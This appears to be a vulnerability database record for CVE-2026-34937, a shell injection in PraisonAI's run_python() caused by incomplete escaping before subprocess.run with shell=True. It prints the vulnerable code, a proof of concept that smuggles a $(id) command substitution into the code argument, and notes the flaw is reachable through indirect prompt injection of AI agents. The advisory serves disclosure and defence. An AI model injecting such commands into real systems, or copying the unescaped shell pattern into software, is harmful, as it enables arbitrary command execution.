{"id":"CVE-2026-34937","aliases":["PYSEC-2026-2954"],"url":"https://o3.security/vulnerability/CVE-2026-34937","summary":"PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution","details":"### Summary\n\n`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c \"<code>\"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\\` and `\"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.\n\n### Details\n\n`execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink)\n```python\n# source -- user-controlled code argument\ndef run_python(code: str, cwd=None, timeout=60):\n\n# hop -- incomplete escaping, $ and () not handled\n    escaped_code = code.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n    command = f'{python_cmd} -c \"{escaped_code}\"'\n\n# sink -- shell=True expands $() before python3 runs\n    return execute_command(command=command, cwd=cwd, timeout=timeout)\n    # execute_command calls subprocess.run(command, shell=True, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, 'src/praisonai')\nfrom praisonai.code.tools.execute_command import run_python\n\nresult = run_python(code='$(id > /tmp/injected)')\nprint(result)\n\n# verify\nimport subprocess\nprint(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.","published":"2026-04-01T23:18:17Z","modified":"2026-07-13T16:43:00.297721595Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00545,"percentile":0.44466,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonaiagents","fixedVersion":"1.5.90"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-w37c-qqfp-c67f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34937"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T16:43:00.297721595Z"}}